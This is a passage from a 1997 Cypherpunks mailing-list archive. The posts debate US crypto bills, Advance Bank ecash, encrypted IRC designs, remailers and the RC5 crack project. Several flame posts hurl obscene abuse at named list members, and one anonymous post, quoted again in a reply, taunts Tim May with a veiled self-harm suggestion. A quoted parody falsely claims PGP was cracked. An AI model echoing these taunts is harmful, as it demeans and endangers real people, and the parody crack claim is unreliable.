phone monopolies and IBMs were building.  Yes, there was a political agenda:
you could only use the net for "non-commercial", government-contract-related,
or university purposes, but they fundamentally didn't care as long as you
weren't blatant about it, so the culture could develop in a more balanced
manner, and people could build interesting fun things essentially
un-supervised.

Those days are over, of course, and throwing out the government control
is far from a finished job, especially outside the US, but the free sector
is much larger than the bureaucratic sector, so they can't do much harm.


#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: bennett_t1@popmail.firn.edu
Date: Sat, 21 Jun 1997 16:05:10 +0800
To: David Downey <digital_matrix@hotmail.com>
Subject: Re: Senate panel nixes ProCODE II, approves McCain-Kerrey bill
In-Reply-To: <199706200615.XAA25232@f10.hotmail.com>
Message-ID: <33AB7EA7.12FC372E@popmail.firn.edu>
MIME-Version: 1.0
Content-Type: text/plain



> Maybe I'm just paranoid, but doesn't this mean that it is now illegal
> to
> use anything over 56 bits in the US, and doesn't this give the US
> Government the unofficial green light to start cracking down on those
> of
> us that use encryption? All they gotta say is that they suspected that
>
> we were dealing in child pornography, based on the fact that they
> monitored encrypted messages leaving from our addresses? It's not that
>
> far of a leap in possibilities after everything else they've done.
> This
> is starting to get scary ladies and gentleman. I use 2048 bit
> encryption, does that make me a porn lover because I use that heavy of
>
> encryption,and encryption period?  I feel some very bad days coming
> down
> the pike. I just hope that we can do something to stem the tide.

I am getting sick of the crap in congress.  May's right, whenever they
want to get what they want, they just blurt out that their opposition
may support kiddie porn.  The only somewhat good measure coming up is
SAFE, but that will most likely be struck down by lawmakers.  After all,
it helps encryption, and that might aid kiddie porn!  Seriously, if the
citizens ever have a civil war, and we win, then Clinton, the senators
opposed to Pro-CODE, and other anti-crypto types should be on trial for
abuse of power, violation of citizens' rights, and high crimes against
the constitution.  I hope it would be public :-)

The government in theory works for US.  So the question is "What the
HELL happened to that?!"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Wayne Clerke" <wclerke@emirates.net.ae>
Date: Sat, 21 Jun 1997 06:23:43 +0800
To: "Bill Stewart" <cypherpunks@toad.com>
Subject: Re: Fw: Advance Bank launches ecash
Message-ID: <199706202212.CAA05166@ns2.emirates.net.ae>
MIME-Version: 1.0
Content-Type: text/plain



>
>>>>>Thank you for being so patient.  ecash is now available from our web
site
>>>>>at:  http//www.advance.com.au/ecash
>
>>Tim May  <tcmay@got.net> wrote:
>>>No mention of "untraceable" or "anonymous" or "Chaum." And no mention
of
>>>"Digicash," except in your (Wayne's) introduction; Digicash is, rightly
or
>>>wrongly, a trademark of the company with the same name.
>
>If there _wasn't_ any mention of those, there certainly is now :-)
>The right-hand frame, after the pictures of PCs and dollar signs and
logos,
>has copyright notices, trademark notice for "ecash", and the addresses
>and URLs for Advance Bank Australia Ltd. and Digicash BV in the
Netherlands.
>
>And the "Support" page has the following URLs:
>   For more ecash info, refer to the DigiCash Web Site:
>     Who are DigiCash?
>     Digital Signatures and Smart Cards
>     Numbers that are money
>

It seems I haven't been paying enough attention lately ... just visited
www.digicash.com and discovered Advance is only one of several new banks
offering (or about to offer ecash).

>
># Thanks;  Bill
># Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
># You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
>#   (If this is a mailing list or news, please Cc: me on replies.
Thanks.)
>

Regards,


Mail: <a href=mailto:wclerke@emirates.net.ae>Wayne Clerke</a>
PGP key ID: AEB2546D FP: D663D11E DA19D74F 5032DC7E E001B702
PGP mail welcome. Voice: +971 506 43 48 53
If you're not living on the edge, you're taking up too much space.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Bill Stewart <stewarts@ix.netcom.com>
Date: Sat, 21 Jun 1997 17:50:03 +0800
To: Robert Hettinga <rah@shipwright.com>
Subject: Re: Party on IRC
In-Reply-To: <v0302093bafd0130a7fac@[139.167.130.247]>
Message-ID: <3.0.2.32.19970621023432.0077a4ac@popd.ix.netcom.com>
MIME-Version: 1.0
Content-Type: text/plain



>Robert Hettinga <rah@shipwright.com> writes:
>>Is there an encrypted IRC available?
>>If not, shouldn't there be?
>>Is such a thing even possible?

You'd have to think about what you wanted it to do,
but it should be quite doable.  IRC is normally for sharing
conversations between an amorphous, changing bunch of people,
which isn't really a standard thing to do with crypto.  
But I can see several basic models:
0) Just Speak Finnish :-)
1) Two-person, with Diffie-Hellman key exchange
2) N-person shared-key - you'd probably use RSA to give the session key
to each new participant, or use PGP to do it.
3) N person, one key per sender, shared as above.
4) Ignore the application layer, and build the crypto as an IPsec tunnel.
5) Ignore the IRC protocols, and build a similar conversation server
using web forms and SSL.

Some tools you'd want`for 1-3:
a) Convenient cut&paste between the IRC makes integrating things easier,
such as key exchange, e.g. drop in a PGP message with today's key.

b) The ability to mix encrypted and unencrypted messages, 
so it's easier to do things like join the channel and negotiate keys.

c) A crypto operating mode that doesn't depend on sequence -
probably a line basis is about right.  ECB mode is boring and unsafe,
but you could use a session key (distributed with RSA/DH/etc.) 
to encrypt a per-line nonce key, and encrypt the line with the nonce,
transmitting "encryptednonce, encryptedline" for each line of data.

Perhaps this is less secure (?), but can you do something like
linekey = Hash( Hash(sessionkey, nonce), sessionkey ) 
transmitting "nonce, encryptedline"?  This would let you use a hash
instead of a symmetric crypto for the key on each line,
and might make it more convenient to choose a stream cypher such as RC4/160 
instead of a slower block cypher such as IDEA or DES for the line encryption.



#			Thanks;  Bill
# Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
# You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
#   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sat, 21 Jun 1997 19:04:49 +0800
To: cypherpunks@toad.com
Subject: Re: "Strength of encryption standard proved again"
Message-ID: <199706211040.DAA31004@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Tim May wrote:
> 
>( cryptography@c2.net removed from the distribution list, as I am not a
> subscriber to that list, and Perry has admonished me when I have
> accidentally left his list on the cc: to my messages)

From: sameer <sameer@c2.net>
To: emergent@eval-apply.com (ET)
CC: cryptography@c2.net, cypherpunks@toad.com

  Sameer has his bum-buddy, Perry, censoring c2.net's crypto-propaganda
list in order to reflect favorably on cryptography business interests.
  It seems that this is cheaper than using his legal team to stifle
free speech regarding corporate products, especially his own. 

  Despite the fact that Sameer feels free to spam the cypherpunks list
with self-serving horseshit that he is sending to cryptography@c2.nut,
it seems that he has a deep-rooted fear of his products and motives
being discussed on the c2.net list.
  Perry is a horse's ass who gets offended that people subjected to
cc:'s of the c2.net propoganda machine don't seem to feel it is their
job to perform his censorship for him by deleting sameer's list from
the cc:'d spam their list members send out.

  I would suggest that if Perry wants to act as a censor of free speech
on the internet, that he take responsibility for deleting any messages
that he deems to be beneath the corporate standards of the list that
he censors.
  Of course, he could always automate the list to only allow posts by
subscribers. If the software he uses to run the list doesn't have the
capability to do so then perhaps he could ask the Stronghold programers
to build a back door in the software to allow him to do so.

TruthMonger






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: 3umoelle@informatik.uni-hamburg.de (Ulf =?iso-8859-1?Q?M=F6ller?=)
Date: Sat, 21 Jun 1997 10:03:21 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Party on IRC
In-Reply-To: <v0302093bafd0130a7fac@[139.167.130.247]>
Message-ID: <m0wfFHF-0003b9C@ulf.mali.sub.org>
MIME-Version: 1.0
Content-Type: text/plain



Robert Hettinga <rah@shipwright.com> writes:

>Is there an encrypted IRC available?
>
>If not, shouldn't there be?
>
>Is such a thing even possible?

Only ROT13, it seems. But it it certainly possible for IRC clients
that are available as source code.





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: janke@unixg.ubc.ca (Leonard Janke)
Date: Sat, 21 Jun 1997 21:41:59 +0800
To: cypherpunks@Algebra.COM
Subject: Re: Party on IRC
In-Reply-To: <v0302093bafd0130a7fac@[139.167.130.247]>
Message-ID: <m2vi38ozit.fsf@clouds.heaven.org>
MIME-Version: 1.0
Content-Type: text/plain




ftp://ftp.csua.berkeley.edu/pub/cypherpunks/applications/circ.tar.gz ?

Didn't look into it too closely, but I noticed it doesn't do 
authentication.

Leonard





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: lucifer@dhp.com (lucifer Anonymous Remailer)
Date: Sat, 21 Jun 1997 19:08:46 +0800
To: cypherpunks@toad.com
Subject: Re: [EFGA] WE won our court case!! (fwd)
Message-ID: <199706211055.GAA09586@dhp.com>
MIME-Version: 1.0
Content-Type: text/plain



Bill Stewart wrote:
> the distributed internet project to crack
> the DES Challenge key succeeded on the day that the Senate committee
> was trying to tell us that 56kbps should be plenty for anybody.

  What an amazing coincidence. RSA works in mysterious ways.

MysteryMonger





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: dlv@bwalk.dm.com (Dr.Dimitri Vulis KOTM)
Date: Sat, 21 Jun 1997 19:50:40 +0800
To: cypherpunks@toad.com
Subject: Re: "Fuck tha EFF": New banner for Netscum page
In-Reply-To: <2.2.16.19970621003022.37f700d8@pacbell.net>
Message-ID: <5DBN9D12w165w@bwalk.dm.com>
MIME-Version: 1.0
Content-Type: text/plain



Aaron Marquez <marquez@pacbell.net> writes:
>   I find it curious that when the EFF was silent about the netscum page, the
> majority of you were supportive of the EFF, but as soon as the EFF said that
> they weren't interested in being associated with the netscum page, the party
> line suddenly became "the EFF is a bunch of corporate whores..."

This is a lie, like everything else Aaron Marquez says.

We've been condemnding EFF at least since October 96, when we caught one of
the cocksuckers in charge of it in blatant censorship.

>   What explanation can there be for such a quick 180 other than to conclude
> that you're suffering from a big case of sour grapes? And at any rate, how
> does EFF-bashing on a mailing list advance the cause of electronic freedom?
> I think it's been made obvious what you think of the EFF, why repeat it over
> and over to people who already know?

This is a lie (see above).

Dave, why did you subscribe this Cabal stooge to this mailing list
without announcing it? :-(

> >If one dislikes the "National Socialists", the closet historical analogue
> >of the Usenet Cabal, it doesn't follow that one is against socialism.
>
>   I disagree that the so-called Usenet Cabal is akin to the National
> Socialists.

Marquez is not even amusing - just a Cabal liar.

---

Dr.Dimitri Vulis KOTM
Brighton Beach Boardwalk BBS, Forest Hills, N.Y.: +1-718-261-2013, 14.4Kbps





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: ? the Platypus {aka David Formosa} <dformosa@st.nepean.uws.edu.au>
Date: Sat, 21 Jun 1997 10:17:34 +0800
Subject: Re: Fw: Advance Bank launches ecash
In-Reply-To: <v03102801afd06cbcb3be@[10.0.2.15]>
Message-ID: <Pine.LNX.3.93.970621075531.108D-100000@shirley>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, 20 Jun 1997, Steve Schear wrote:

[...]

> It isn't clear to me, from their lengthy regulation list, whether a
> non-Australian can open an account.

[...]

> 2. Fee schedule.  Advance plans to charge a 0.5% discount to funds entering
> the mint, like traveller's checks.  Either banking competition must be
> different in Australia or they know something I don't.  This would probably
> not fly in the US under current competitive conditions.

Its the first,  Australian banking compertion is very bad.  The last
goverment enqury ended up basicly saying internet commerse will increase
compertion.  IIRC correctly there are laws illeglising the keeping of
records in e-cash systems however austlii is down so I can't check. 

Please excuse my spelling as I suffer from agraphia see the url in my header. 
Never trust a country with more peaple then sheep.  Buy easter bilbies.
Save the ABC Is $0.08 per day too much to pay?  ex-net.scum and prouud     
I'm sorry but I just don't consider 'because its yukky' a convinceing argument  





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Date: Sat, 21 Jun 1997 07:17:59 +0800
To: cypherpunks@toad.com
Subject: A site idea
Message-ID: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
MIME-Version: 1.0
Content-Type: text/plain



Hello all,

Well after joining this list a few days ago, i've decided to take the 
plunge and post something. I was looking for feedback on an idea for a 
site. I hope this dosen't violate any rules for posting and i appologise 
if it does. Please dont flame me for my ignorance if i've broken any 
unspecified rules for posting.

Anyway on to my idea. 

I'm a Christian (NO not some religious right looney from the states). My 
idea was to setup a site dedicated to secure and anonymous transmiion of 
data. The appilication being for Christian missionaries in dangerous 
countries, but also as a general purpose site for crypto and anoniminty. 
I was hoping to collect information on setting up anon remailers of 
various types and compiling links and articles for the site. Can anybody 
point me in the right direction ? 

Again i hope i haven't offended anyone or broken any posting rules to 
this forum.

Jason =8-]





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@huge.cajones.com (Huge Cajones Remailer)
Date: Sun, 22 Jun 1997 00:33:57 +0800
To: cypherpunks@toad.com
Subject: Re: CNNFN transcript -- EPIC vs. Family Research Council on CDA
Message-ID: <199706211620.JAA05418@fat.doobie.com>
MIME-Version: 1.0
Content-Type: text/plain



Declan:

So when did you turn into Rotenberg's press whore?  This 20k transcript
you just spammed me with is no different than a hundred other mediocre
debates on second-rate news shows that we have all been subjected to since
people started whining about the CDA. Boring.







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Kent Crispin <kent@songbird.com>
Date: Sun, 22 Jun 1997 00:58:46 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
In-Reply-To: <Pine.GSO.3.95.970620164959.11215F-100000@well.com>
Message-ID: <19970621094256.27370@bywater.songbird.com>
MIME-Version: 1.0
Content-Type: text/plain



On Fri, Jun 20, 1997 at 04:50:16PM -0700, Declan McCullagh wrote:
> 
> ---------- Forwarded message ----------
> Date: Fri, 20 Jun 1997 19:44:33 -0400 (EDT)
> From: Charles Platt <cp@panix.com>
[...]
> 
> Statements similar to yours have been made so many times, scolding
> "extremists" for "not being realistic." I seem to remember something about
> extremism in defense of liberty being no vice, and moderation no virtue.
> Either way, if you compromise, you don't get what you want. That is
> absolutely obvious. So why compromise? 

Because half a million dollars is better than no dollars? Because in
real life the vast majority of choices are not binary? Because in real
life you have to live with someone as intransigent as you?

The real question is: What is the most *effective* way for achieving
your ends.  "No compromise" negotiaton can be effective at either end of 
the power scale (if you hold *all* the cards there is no point in 
compromising; if you hold *no* cards there is no point in 
compromising).  In this case your "no compromise" stand is the 
reflective of the "no cards" position -- "we've already lost so we 
might as well go down guns blazing."

However, others do not see the situation as bleakly as you do.

-- 
Kent Crispin				"No reason to get excited",
kent@songbird.com			the thief he kindly spoke...
PGP fingerprint:   B1 8B 72 ED 55 21 5E 44  61 F4 58 0F 72 10 65 55
http://songbird.com/kent/pgp_key.html





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Graham-John Bullers <real@freenet.edmonton.ab.ca>
Date: Sun, 22 Jun 1997 00:20:19 +0800
To: Anonymous <nobody@replay.com>
Subject: Re: [STEGO] Quadratic residues
In-Reply-To: <199706211137.NAA22941@basement.replay.com>
Message-ID: <Pine.A41.3.95.970621100425.98224G-100000@fn2.freenet.edmonton.ab.ca>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 21 Jun 1997, Anonymous wrote:

I think Vulis needs each of us to send ten copies of this back to him.

> `A pen is mightier than a sword', not to mention Timothy 
> C[ocksucker] Mayonnaise's pea-sized penis. He would be 
> better served by a safety razor, possibly applied in a 
> bathtub filled with warm water (something he has surely 
> never been into).
> 
>        ((__)) Timothy C[ocksucker] Mayonnaise
>         (00)
>        (o__o)
> 

~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Graham-John Bullers                      Moderator of alt.2600.moderated   
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    email : <real@freenet.edmonton.ab.ca> : <ab756@freenet.toronto.on.ca>
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
         http://www.freenet.edmonton.ab.ca/~real/index.html
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Tim May <tcmay@got.net>
Date: Sun, 22 Jun 1997 01:27:25 +0800
To: cypherpunks@Algebra.COM
Subject: The Global Fix is In
Message-ID: <v0310281cafd1ba6444d6@[207.167.93.63]>
MIME-Version: 1.0
Content-Type: text/plain




The "Meeting of the Eight," formerly the G7, is happening in Denver.
Listening to what's coming out of it, it's apparent that the Four Horsemen
are front and center. Clinton is speaking of a network of banking and
communications policy coordinators, to detect and halt drug dealing, money
laundering, and nuclear terrorism.

This fits with the details of reports about global wiretapping efforts,
about joint intelligence activities, and, of course, with the OECD/GAK laws
being proposed, passed, and about to be signed into law about "Key
Recovery" and "Trusted Third Parties."

The fix is in.

It probably won't be long before Stronghold is barred for export from
either Britain or RSA (the other one); both Tony Blair and Nelson Mandela
are Friends of Bill, so a few phone calls should take care of that little
problem. (And Norway and the other Scandinavian countries are part of the
global wiretap agreement, so I rather doubt free export of PGP 5.x code out
of Norway will be feasible, despite the OCR effort now underway there.)

(Not that Clinton will mention Stronghold to Blair...that's far too much
microdetail. Jimmy Carter might have gotten involved at that level, but not
Bill. Details will be left to underlings.)

The call to Japan, probably the visit by David Aaron, stopped NTT's plans
for exporting the RSA chip.

Anguilla and other "offshore" havens, will be subject to the same kinds of
pressure. Mark my words.

It's not hopeless. Physical havens are vulnerable, to all sorts of
pressures (I doubt many cryptographers want to set up shop in Libya or
Iraq, not that these places would be hospitable to Cypherpunks sorts of
goals and methods).

Going underground, using the untraceable features of cyberspace, may be the
last, best hope.

--Tim May

There's something wrong when I'm a felon under an increasing number of laws.
Only one response to the key grabbers is warranted: "Death to Tyrants!"
---------:---------:---------:---------:---------:---------:---------:----
Timothy C. May              | Crypto Anarchy: encryption, digital money,
tcmay@got.net  408-728-0152 | anonymous networks, digital pseudonyms, zero
W.A.S.T.E.: Corralitos, CA  | knowledge, reputations, information markets,
Higher Power: 2^1398269     | black markets, collapse of governments.
"National borders aren't even speed bumps on the information superhighway."








From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Sun, 22 Jun 1997 02:01:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: Anonymous browsing (was Re: Getting Back to our Radical Roots)
In-Reply-To: <3.0.2.32.19970620150717.0082bab0@descartes.bluemoney.com>
Message-ID: <v030209c1afd19fd5b3b6@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 7:22 pm -0400 on 6/20/97, Tim May wrote:
> When I was at CFP a few months back, and NSA guy said he read the
> Cypherpunks list regularly. And a CIA analyst who attended the Hackers
> Conference recognized my name when I happened to sit down next to him at a
> meal, and said his office often looked to the CP list for insights into how
> various proposals would be met. I don't recall either of their names--I
> wasn't that interested in tracking them--but I rather suspect their
> subscriptions were under under other names or at least other domain names,
> or forwarded directly off of other sites.

This could be done at the archives, even if they *are* in Singapore. :-).
Maybe *that's* why they need onion routers... :-).

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Sun, 22 Jun 1997 03:29:01 +0800
To: cypherpunks@toad.com
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill
Message-ID: <Pine.GSO.3.95.970621121818.18879B-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Sat, 21 Jun 1997 12:18:09 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: Paul Spirito <spiritop@slic.com>
Cc: fight-censorship@vorlon.mit.edu, Charles Platt <cp@panix.com>
Subject: Re: CDT Policy Post 3.08 - Senate Committee Approves Key Crypto Bill

I'm much more intersted in looking at the motives not of the minority who
voted for ProCODE II, but at who endorsed the final McCain-Kerrey bill and
reported it out of committee.

Keep in mind that civil liberties and business groups across the spectrum
are unanimous in condemning the McCain-Kerrey bill as evil. 

But which senators on the full Commerce Committee voted against it? Did
Ashcroft? Did Burns?

-Declan


On Sat, 21 Jun 1997, Paul Spirito wrote:
> 1) The senators who voted for the pro-CODE "compromise" were acting
> about as principled as senators normally will.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Ryan Anderson <randerso@ece.eng.wayne.edu>
Date: Sun, 22 Jun 1997 01:15:25 +0800
To: roy@scytale.com
Subject: Re: New Laws in Oregon - "Land of the Legal betatest"
In-Reply-To: <970621.021700.6Q0.rnr.w165w@sendai.scytale.com>
Message-ID: <Pine.GSO.3.95.970621130236.21966B-100000@ece>
MIME-Version: 1.0
Content-Type: text/plain



On Sat, 21 Jun 1997, Roy M. Silvernail wrote:

> > How do you propose to deal with such things as the Telecommunications Act
> > of 1996 (which incidently included the CDA)?   I can see a problem where
> > one sentence or clause gets thrown out of a major bill (say a compromise
> > budget, that someone screwed up one minor ammendment), and if you have
> > that happen 3 times in 6 years, you've lost 90% of your senators!  I'm not
> > saying that your idea isn't without merit, just that it's got a few
> > problems that strike me as somewhat major..
> 
> Please elaborate, as I can't see _any_ problem with eliminating 90% of
> the sitting legislature.

You've completely missed my point.  This would be an on-going problem.
Congress can only function with some idea of compromise in it.  When
you're passing budgets, especially the kind of budgets we have right now,
they get big and complicated, I can't see that changing significantly,
even with a massive turnover of members.  But having no consistency in
Congress at all, even for some "good" reps would be horrible.

-----------------------------------------------------------------------
Ryan Anderson - <Pug Majere>     "Who knows, even the horse might sing" 
Wayne State University - CULMA   "May you live in interesting times.."
randerso@ece.eng.wayne.edu                        Ohio = VYI of the USA 
PGP Fingerprint - 7E 8E C6 54 96 AC D9 57  E4 F8 AE 9C 10 7E 78 C9
-----------------------------------------------------------------------





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Sat, 21 Jun 1997 19:50:30 +0800
To: cypherpunks@toad.com
Subject: Re: [STEGO] Quadratic residues
Message-ID: <199706211137.NAA22941@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



`A pen is mightier than a sword', not to mention Timothy 
C[ocksucker] Mayonnaise's pea-sized penis. He would be 
better served by a safety razor, possibly applied in a 
bathtub filled with warm water (something he has surely 
never been into).

       ((__)) Timothy C[ocksucker] Mayonnaise
        (00)
       (o__o)





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 02:19:25 +0800
To: DeclanMcCullagh <declan@well.cum.demon.co.uk>
Subject: Re: PGP Crack Successful !!!
In-Reply-To: <199706210655.AAA22599@wombat.sk.sympatico.ca>
Message-ID: <Pine.LNX.3.91.970621135756.755B-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> 2048-bit PGP Cracked!!!
> by Declan McCullagh (declan@well.cum)

We really are getting some good material recently ;-)...
If we carry on like this, the cypherpunk enquirer will consider 
him/herself humble!

> using the backdoor in the Stronghold encryption software
> to decipher PGP files.

ObLawyerLetterFodder: Stronghold is weak, it can be broken by a team of 4 
monkeys in under 30 minutes, C2Net are all cocksuckers. 

>      Phil Zimmerman, who was forced out of the company
> as a condition of the acquisition agreement, said of his
> replacement, "Dimitri is a cocksucker."

ROFL.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 02:02:56 +0800
To: "Dr.Dimitri Vulis KOTM" <dlv@bwalk.dm.com>
Subject: Re: "Fuck tha EFF": New banner for Netscum page
In-Reply-To: <5DBN9D12w165w@bwalk.dm.com>
Message-ID: <Pine.LNX.3.91.970621140309.755C-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> > they weren't interested in being associated with the netscum page, the party
> > line suddenly became "the EFF is a bunch of corporate whores..."
>
> We've been condemnding EFF at least since October 96, when we caught one of
> the cocksuckers in charge of it in blatant censorship.

I have always had a healthy fear of the alphabet soup "cyber rights" 
(never trust anyone who calls a lot of wires, routers and telephone lines 
"cyberspace") groups, but what turned me against the EFF in particular 
was the way in which their obvious support for their main source of 
funding (ie. coporate groups and interests) turned them against their 
public, they sold out, and they sold their members out. Of course the 
Gilmore <spit> incident convinced me even more.

> >   I disagree that the so-called Usenet Cabal is akin to the National
> > Socialists.
> 
> Marquez is not even amusing - just a Cabal liar.

The term liar after cabal is an unnecesary redundancy. All cabal members 
are censorous liars, but what`s new...

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 01:29:20 +0800
To: Jason William RENNIE <jrennie@hardy.ocs.mq.edu.au>
Subject: Re: A site idea
In-Reply-To: <Pine.SOL.3.91.970621085711.11806A-100000@hardy.ocs.mq.edu.au>
Message-ID: <Pine.LNX.3.91.970621141211.755E-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> Well after joining this list a few days ago, i've decided to take the 
> plunge and post something. I was looking for feedback on an idea for a 
> site. I hope this dosen't violate any rules for posting and i appologise 
> if it does. Please dont flame me for my ignorance if i've broken any 
> unspecified rules for posting.

Cypherpunks is totally uncensored and there are no rules for posting, you 
won`t get flamed for posting off topic, unless you are censorous, for a 
good short idea of what cypherpunks is all about read Tims "a cypherpunk 
manifesto" or his cyphernomicon.

> I was hoping to collect information on setting up anon remailers of 
> various types and compiling links and articles for the site. Can anybody 
> point me in the right direction ? 

Raph Levine <sp? There are two, one levine and one levein and I always 
confuse the two) is the remailer god, check out his pages for some 
information.

For anonymous web browsing you need to either direct browsers to go 
through www.anonymizer.com or set up your own similar service.
Once again, Raph`s pages will get you off to a good start.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Paul Bradley <paul@fatmans.demon.co.uk>
Date: Sun, 22 Jun 1997 01:42:29 +0800
To: sameer <sameer@c2.net>
Subject: Re: Garbled in transmission.
In-Reply-To: <199706210210.TAA08094@gabber.c2.net>
Message-ID: <Pine.LNX.3.91.970621142355.755F-100000@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain




> 	Not at all surprising, considering the wording of Rocke's
> press release. 

On the other hand, had the news report been based on any of your own 
releases, they would have had to include subliminal messages than C2Net 
is a trusted company and Sameer is god, and that StrongHold does not 
contain any backdoors.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Mix <mixmaster@remail.obscura.com>
Date: Sun, 22 Jun 1997 06:33:25 +0800
To: cypherpunks@cyberpass.net
Subject: Re: The Global Fix is In
Message-ID: <199706212159.OAA07925@sirius.infonex.com>
MIME-Version: 1.0
Content-Type: text/plain



>Going underground, using the untraceable features of cyberspace, may be the
>last, best hope.

You can't go underground if cryptography is illegal.  You don't have remailers,
so you can't be anonymous.  You don't have crypto, so anyone can see what
you're doing online.  It doesn't work.

You can't ignore the laws.  You can't ignore society.  The real world is all
around you, and you have to live in it.

People are tired.  We win one battle, and have to begin again with another.
But that's the way it works.  Look at the political battles which have gone on
for decades: gun control, abortion, environmentalism, many more.  You have
to be in this for the long haul.  You have to fight every step of the way.

Don't give up.

Anon





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Fabrice Planchon <fabrice@math.Princeton.EDU>
Date: Sun, 22 Jun 1997 04:14:56 +0800
To: Adam Back <aba@dcs.ex.ac.uk>
Subject: Re: RC5 crack
In-Reply-To: <199706211713.SAA00744@server.test.net>
Message-ID: <19970621160629.55632@math.princeton.edu>
MIME-Version: 1.0
Content-Type: text/plain



Comme disait Adam Back (aba@dcs.ex.ac.uk):
> 
> Been looking at the RC5 crack project.
> 
> http://rc5.distributed.net/ has loads of flashy graphics, stats,
> etc. but no instructions!

seems they are in the final process of rewriting clients entirely, with
a new protocol, etc... so they don't bother explaining how the old
clients work. Still, I agree it sucks.

> I've got the linux command line client, and I want to take off 16
